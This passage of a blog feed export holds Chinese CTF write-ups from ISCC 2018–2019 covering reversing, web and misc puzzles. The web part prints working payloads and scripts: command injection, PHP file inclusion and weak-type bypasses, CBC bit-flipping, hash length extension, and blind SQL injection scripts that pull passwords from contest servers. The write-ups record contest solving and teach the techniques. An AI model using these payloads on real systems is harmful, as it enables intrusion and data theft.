<div id="crayon-5d0fe351b3c22818994869-5" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-v">s</span> <span class="crayon-o">+=</span> <span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-o">^</span> <span class="crayon-cn">32</span><span class="crayon-o">+</span> <span class="crayon-cn">16</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">return</span> <span class="crayon-v">base64</span><span class="crayon-sy">.</span><span class="crayon-e">b64encode</span><span class="crayon-sy">(</span><span class="crayon-v">s</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-7" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c22818994869-8" class="crayon-line crayon-striped-line"><span class="crayon-e">def </span><span class="crayon-e">decode</span><span class="crayon-sy">(</span><span class="crayon-v">code</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-9" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">res</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c22818994869-10" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-v">base64</span><span class="crayon-sy">.</span><span class="crayon-e">b64decode</span><span class="crayon-sy">(</span><span class="crayon-v">code</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-11" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-v">s</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-12" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-v">res</span><span class="crayon-o">+=</span><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-o">^</span><span class="crayon-cn">32</span><span class="crayon-o">+</span><span class="crayon-cn">16</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-13" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-st">return</span> <span class="crayon-e">res</span></div>
<div id="crayon-5d0fe351b3c22818994869-14" class="crayon-line crayon-striped-line"><span class="crayon-e">    </span></div>
<div id="crayon-5d0fe351b3c22818994869-15" class="crayon-line"><span class="crayon-e">    </span></div>
<div id="crayon-5d0fe351b3c22818994869-16" class="crayon-line crayon-striped-line"><span class="crayon-e">print </span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;A&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-17" class="crayon-line"><span class="crayon-i">print</span> <span class="crayon-s">&#8220;&#8212;&#8212;&#8220;</span></div>
<div id="crayon-5d0fe351b3c22818994869-18" class="crayon-line crayon-striped-line"><span class="crayon-e">print </span><span class="crayon-e">decode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;eYNzc2tjWV1gXFWPYGlTbQ==&#8217;</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190508174145.png"><img src="https://y4er.com/img/uploads/20190508174145.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span><span class="md-plain">脚本写的像屎，将就看，解密出来win和Linux的编码不一样，显示都不全，最后flag还得靠猜</span><span spellcheck="false"><code>ISCC{simple_pyc}</code></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Rev02</span></h1>
<p class="md-end-block md-p"><span class="md-plain">.net程序 放到dnspy中</span></p>
<div class="post-image"><img loading="lazy" class="alignnone size-medium" src="https://y4er.com/img/uploads/20190508175431.png" alt="ISCC 2019部分writeup-ChaBug安全" width="1625" height="913" /></div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ISCC2018 writeup(web)</title>
		<link>/ctf/423.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Fri, 25 May 2018 12:08:55 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[iscc2018]]></category>
		<category><![CDATA[Writeup]]></category>
		<guid isPermaLink="false">/?p=322</guid>

					<description><![CDATA[ 比较数字大小 F12 修改maxlength为4 web01 strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候，如果有数值的话会先将字符串转换...]]></description>
										<content:encoded><![CDATA[<h2><span style="color: black; font-family: Helvetica;"><span style="font-size: 8pt;"> 比较数字大小</span><span style="font-size: 8pt;"><br />
</span></span></h2>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">F12 修改maxlength为4</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_1.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">web01</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_2.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候，如果有数值的话会先将字符串转换为数值在进行比较，而NULL转换成数值为0，所以绕过题目限制。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">payload:  get: /?password[]=1<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_3.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">本地的诱惑</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">右键查看源代码即可。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">你能跨过去吗？</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_4.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 复制callback参数内容 base64解码得到&lt;script&gt;alert(&#8220;key:/%nsfocusXSStest%/&#8221;)&lt;/script&gt;  复制key的内容 提交得到flag；<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_5.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">一切都是套路</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">访问/index.php.txt得到源代码:<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_6.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">变量覆盖漏洞($$):<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">get: ?_200=flag<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">post: flag=x<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_7.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">你能绕过吗</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_8.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">更改f参数的内容发现会报错，猜测是文件包含漏洞<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_9.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_10.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 8pt;"> </span><span style="font-size: 14pt;">web02</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_11.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 得到flag。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_12.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">请ping我的ip 看你能Ping通吗？<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 根据题目要求 ping 猜测是命令注入漏洞，过滤了; &amp; |等特殊符号  利用%0a(换行)进行绕过<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">用  ls / 命令查看目录<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_13.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">最后在 /home目录下发现flag   payload: /?ip=127.0.0.1%0a cat /home/flag得到flag<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_14.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">Please give me username and password!<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">/index.php.txt 页面泄漏源代码，利用php弱类型进行绕过;<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">?username[]=0&amp;password=1e9<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_15.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">SQL注入的艺术<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <a href="/wp-content/uploads/2018/05/052518_1206_16.png"><img loading="lazy" class="alignnone size-full wp-image-303" src="/wp-content/uploads/2018/05/052518_1206_16.png" alt="" width="1504" height="827" /></a></span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">点击个人信息页面,宽字节注入，可以盲注也可以联合查询注入。 当时写了个脚本盲注</span></p>
<pre class="lang:default decode:true ">import re
import requests
cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for  i in range(1,46):
    for ss in list:
        p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
        u = requests.get(url+p)
        if "head.jpg" in u.content:
            cname += chr(ss)
            print cname
            break
for i in range(1,23):
    for l in list:
        pp = payload.format(p='select flag from admins',m=i,n=l)
        u = requests.get(url+pp)
        if "head.jpg" in u.content:
            flag += chr(l)
            print flag
            break</pre>
<p>&nbsp;</p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_17.png" alt="" /><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">试试看<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">/show.php?img=1.jpg  复制图片地址  文件包含漏洞。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">由于不包含.jpg文件提示File not found！ resource可以包含两个文件 所以绕过<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_18.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">Collide<br />
</span></h3>
<p><img src="/wp-content/uploads/2018/05/052518_1206_19.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 直接给出源代码，由于key的值不知道 但是我们知道key的 长度为46，利用hash长度扩展攻击<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">编码后的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_20.png" alt="" /><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">Only admin can see flag<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">cbc字节翻转攻击<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。</span></p>
<pre class="lang:default decode:true ">import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher))
jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))</pre>
<p>&nbsp;</p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">先用admiN 123456登录<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_21.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">在地址栏处回车(不要刷新，否则cipher 和iv会刷新)并用burp抓包。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_22.png" alt="" /><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">将iv 和 cipher放入脚本中 得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_23.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_24.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_25.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 复制报错信息中的cipher到脚本中 运行得到新的iv  修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag；<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_26.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 18pt;"> 为什么这么简单啊</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_27.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">根据提示利用 xff ip地址伪造和referer 即可进入第二关。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_28.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_29.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 右键查看源码，发现可疑js文件，浏览找到密码 base64解码 提交得到flag。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_30.png" alt="" /><br />
</span></p>
<pre><code><span style="color: black; font-size: 7pt;"><span style="font-family: Courier New;">ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
</span><span style="font-family: 宋体;">解码得到</span><span style="font-family: Courier New;">: xinyiji.com
</span></span></code></pre>
<p><img src="/wp-content/uploads/2018/05/052518_1206_31.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">php是世界上最好的语言<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_32.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">用户名随便输 ，密码用php弱类型进行绕过 :QNKCDZO（<a href="/ctf/222/">可以看我之前写过的php知识点总结）</a><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 点击得到<img src="/wp-content/uploads/2018/05/052518_1206_33.png" alt="" /><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_34.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">利用全局变量打印出$flag变量即可。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_35.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">Sqli<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">题目说的很明确 就是注入了。经过测试发现是盲注 于是写了个脚本跑出密码登录。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_36.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_37.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">解密: u4g009<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_38.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">提示在另一个字段，(真他妈坑啊)，这里直接联合查询注入就可以了。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_39.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">顺便附上我写的垃圾盲注脚本</span></p>
<pre class="lang:default decode:true ">import requests
tname = ''
						
pwd = ''
						
url = 'http://118.190.152.202:8011/index.php'
						
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
						
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz')
# for i in range(1,10):
#     for k in fuzz:
#         p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
#         u = requests.post(url,data = {'username':p,'password':'admin'})
#         if 'normal' in u.content:
#             tname += k
#             print tname
#             break
					
for i in range(1,33):

					for k in fuzz:
        p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
        u = requests.post(url,data = {'username':p,'password':'admin'})

					if
							'normal'
									in u.content:
            pwd += k

					print pwd

						break</pre>
<p>&nbsp;</p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">有种你来绕<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_40.png" alt="" /><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">根据提示，是mysql的数据库，利用mysql的特性&#8211;隐式类型转换，进行盲注得到密码。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_41.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">写了个脚本跑出密码登录。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_42.png" alt="" /></p>
<pre class="lang:default decode:true ">import requests
url = "http://118.190.152.202:8019/login.php"
						
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
						
password = ''
						
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789'
						
for i in range(1,33):

					for k in fuzz:
        p = payload.format(i,ord(k))
        u = requests.post(url,data = {'uname':p,'passwd':'admin'})

					if
							not
									'username'
											in u.content:
            password += k

						print password</pre>
<p>&nbsp;</p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 解密: nishishabi1438  (我他妈想打死傻逼出题人)<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_43.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">输入flag，执行即可。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_44.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">web400 Only Admin 是cookie注入，但是自己没怎么看，等其他师傅分享wp再学习一波吧。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> </span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ISCC 2018 Msic WriteUp</title>
		<link>/ctf/422.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 25 May 2018 11:50:45 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[iscc2018]]></category>
		<category><![CDATA[msic]]></category>
		<category><![CDATA[Writeup]]></category>
		<guid isPermaLink="false">/?p=266</guid>

					<description><![CDATA[X1r0z:你们 520 在撩妹 而我却在做题 What is that? png 格式 应该是手指下面有 flag 拖进 tweakpng CRC 报错 可能更改了图片宽度 or...]]></description>
										<content:encoded><![CDATA[<p>X1r0z:你们 520 在撩妹 而我却在做题</p>
<h2 id="what-is-that">What is that?</h2>
<p><a href="/wp-content/uploads/2018/05/1527078386.jpg"><img loading="lazy" class="alignnone size-full wp-image-267" src="/wp-content/uploads/2018/05/1527078386.jpg" alt="" width="600" height="491" /></a></p>
<p>png 格式 应该是手指下面有 flag</p>
<p>拖进 tweakpng</p>
<p><a href="/wp-content/uploads/2018/05/1527078387.jpg"><img loading="lazy" class="alignnone size-full wp-image-268" src="/wp-content/uploads/2018/05/1527078387.jpg" alt="" width="438" height="169" /></a></p>
<p>CRC 报错 可能更改了图片宽度 or 高度</p>
<p>winhex 修改</p>
<p><a href="/wp-content/uploads/2018/05/1527078388.jpg"><img loading="lazy" class="alignnone size-full wp-image-269" src="/wp-content/uploads/2018/05/1527078388.jpg" alt="" width="378" height="58" /></a></p>
<p>查看</p>
<p><a href="/wp-content/uploads/2018/05/1527078390.jpg"><img loading="lazy" class="alignnone size-full wp-image-270" src="/wp-content/uploads/2018/05/1527078390.jpg" alt="" width="532" height="77" /></a></p>
<h2 id="数字密文">数字密文</h2>
<p><code class="highlighter-rouge">69742773206561737921</code></p>
<p>hex 编码 解码即可</p>
<p><code class="highlighter-rouge">it's easy!</code></p>
<h2 id="秘密电报">秘密电报</h2>
<p><code class="highlighter-rouge">ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA</code></p>
<p>培根密码</p>
<p><code class="highlighter-rouge">ilikeiscc</code></p>
<p>提交注意大写</p>
<h2 id="重重谍影">重重谍影</h2>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>Vm0wd2QyVkZOVWRXV0doVlYwZG9WVll3WkRSV2JGbDNXa1JTVjAxWGVGWlZNakExVjBaS2RHVkljRnBXVm5CUVZqQmtTMUl4VG5OaFJtUlhaV3RHTkZkWGRHdFRNVXB6V2toV2FsSnNjRmhhVjNoaFYxWmFjMWt6YUZSTlZtdzBWVEo0YzJGR1NuTlhiR2hYWVd0d2RsUnRlR3RqYkdSMFVteFdUbFp0ZHpCV2EyTXhVekZSZUZkc1ZsZGhlbXhoVm01d1IyTldjRVZTYlVacVZtdHdlbGRyVlRWVk1ERldZMFZ3VjJKR2NIWlpWRXBIVWpGT1dXSkhhRlJTVlhCWFZtMDFkMUl3TlhOVmJGcFlZbGhTV1ZWcVFURlRWbEY0VjIxR2FGWnNjSGxaYWs1clZqSkdjbUo2UWxwV1JWcDZWbXBHVDJNeGNFaGpSazVZVWxWd1dWWnRNVEJXTVUxNFdrVmtWbUpHV2xSWlZFNVRWVVpzYzFadVpGUmlSbHBaVkZaU1ExWlhSalpTYTJSWFlsaENVRll3V21Gak1XUnpZVWRHVTFKV2NGRldha0poV1ZkU1YxWnVTbEJXYldoVVZGUktiMDB4V25OYVJFSm9UVlpXTlZaSE5VOVdiVXB5WTBaYVdtRXhjRE5aTW5oVFZqRmFkRkpzWkU1V2JGa3dWbXhrTUdFeVJraFRiRnBYWVd4d1dGWnFUbE5YUmxsNVRWVmFiRkp0VW5wWlZWcFhZVlpLZFZGdWJGZGlXRUpJV1ZSS1QxWXhTblZWYlhoVFlYcFdWVmRYZUZOamF6RkhWMjVTYWxKWVVrOVZiVEUwVjBaYVNFNVZPVmRXYlZKS1ZWZDRhMWRzV2taWGEzaFhUVlp3V0ZwR1pFOVRSVFZZWlVkc1UyRXpRbHBXYWtvd1lURkplRmR1U2s1V1ZscHdWVzB4VTFac1duUk5WazVPVFZkU1dGZHJWbXRoYXpGeVRsVndWbFl6YUZoV2FrWmhZekpPUjJKR1pGTmxhMVYzVjJ0U1IyRXhUa2RWYmtwb1VtdEtXRmxzWkc5a2JHUllaRVprYTJKV1ducFhhMXB2Vkd4T1NHRklRbFZXTTJoTVZqQmFZVk5GTlZaa1JscFRZbFpLU0ZaSGVGWmxSbHBYVjJ0YVQxWldTbFpaYTFwM1dWWndWMXBHWkZSU2EzQXdXVEJWTVZZeVNuSlRWRUpYWWtad2NsUnJXbHBsUmxweVdrWm9hVkpzY0ZsWFYzUnJWVEZaZUZkdVVtcGxhMHB5VkZaYVMxZEdXbk5oUnpsWVVteHNNMWxyVWxkWlZscFhWbGhvVjFaRldtaFdha3BQVWxaU2MxcEhhRTVpUlc4eVZtdGFWMkV4VVhoYVJXUlVZa2Q0Y1ZWdGRIZGpSbHB4VkcwNVZsWnRVbGhXVjNSclYyeGFjMk5GYUZkaVIyaHlWbTB4UzFaV1duSlBWbkJwVW14d2IxZHNWbUZoTWs1elZtNUtWV0pHV2s5V2JHaERVMVphY1ZKdE9XcE5WbkJaVld4b2IxWXlSbk5UYldoV1lURmFhRlJVUm1GamJIQkhWR3hTVjJFelFqVldSM2hoWVRGU2RGTnJXbXBTVjFKWVZGWmFTMUpHYkhGU2JrNVlVbXR3ZVZkcldtdGhWa2w1WVVjNVYxWkZTbWhhUkVaaFZqRldjMWRzWkZoU01taFFWa1phWVdReFNuTldXR3hyVWpOU2IxVnRkSGRXYkZwMFpVaE9XbFpyY0ZsV1YzQlBWbTFXY2xkdGFGWmlXRTE0Vm0xNGExWkdXbGxqUms1U1ZURldObFZyVGxabGJFcENTbFJPUlVwVVRrVSUzRA==
</code></pre>
</div>
</div>
<p>base64 一直解</p>
<p>注意 url 编码</p>
<div class="highlighter-rouge">
<div class="highlight">
<pre class="highlight"><code>U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4
B5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z
iN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=
</code></pre>
</div>
</div>
<p>AES key 为空</p>
